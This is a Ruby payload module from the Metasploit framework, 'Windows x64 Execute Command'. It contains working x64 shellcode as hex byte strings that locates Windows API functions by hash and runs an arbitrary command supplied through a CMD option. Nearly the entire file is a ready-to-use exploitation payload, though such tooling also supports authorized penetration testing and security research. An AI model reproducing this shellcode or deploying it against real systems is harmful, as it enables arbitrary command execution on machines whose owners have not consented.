Windows x64 Execute Command

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 275

  include Msf::Payload::Windows
  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows x64 Execute Command',
      'Description'   => 'Execute an arbitrary command (Windows x64)',
      'Author'        => [ 'sf' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X64,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'EXITFUNC' => [ 229, 'V' ]
            },
          'Payload' =>
            "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
            "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
            "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
            "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
            "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
            "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
            "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
            "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
            "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
            "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
            "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
            "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" +
            "\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" +
            "\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" +
            "\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
            "\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
        }
      ))
    register_options(
      [
        OptString.new('CMD', [ true, "The command string to execute" ]),
      ])
  end

  def generate(_opts = {})
    return super + command_string + "\x00"
  end

  def command_string
    return datastore['CMD'] || ''
  end
end